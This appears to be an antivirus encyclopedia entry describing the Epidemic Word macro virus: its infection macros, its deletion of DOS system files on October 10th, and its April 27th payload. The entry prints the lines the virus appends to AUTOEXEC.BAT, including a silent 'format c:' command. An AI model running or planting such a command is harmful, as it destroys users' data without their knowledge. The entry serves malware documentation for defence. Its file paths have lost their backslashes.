Virus.MSWord.Epidemic

Technical Details

This is a very dangerous encrypted macro-virus. It contains two macros:
AutoExec and AutoOpen, and infects documents and the global macros area in both
cases.

On October 10th, it erases the files: C:IO.SYS, C:MSDOS.SYS,
and C:COMMAND.COM. Then it displays a MessageBox with the following text:

EPIDEMIC  Macro  Virus  V1.1

On April 27th, it appends the following commands to the C:AUTOEXEC.BAT file:

PATH=%PATH%;C:DOS;C:WINDOWSCOMMAND

echo y | format c:/u/V:EPIDEMIC >nul